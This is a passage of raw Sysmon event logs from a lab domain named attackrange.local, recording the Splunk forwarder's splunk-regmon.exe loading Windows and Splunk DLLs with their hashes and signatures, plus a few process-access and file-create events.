Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.831{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000058258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.831{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000018647Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:20.314{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0B92555C25880F0D3E945A088977869E,SHA256=3CA4DA139BFC97EB3620764B150AAD31FFF5B90381465693732872BBB17F7681,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000058257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.643{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000058256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.643{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000058255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.643{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000058254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.643{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000058253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.643{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000058252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.643{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000058251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.643{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000058250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.643{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000058249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000058248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000058247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000058246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000058245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000058244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000058243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000058241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000058240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000058239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000058238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000058237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000058236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000058235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000058234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000058233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000058232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000058231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000058230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000058229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000058228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000058227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000058226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000058225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000058224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000058223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000058222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000058221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000058219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 10341000x800000000000000058218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 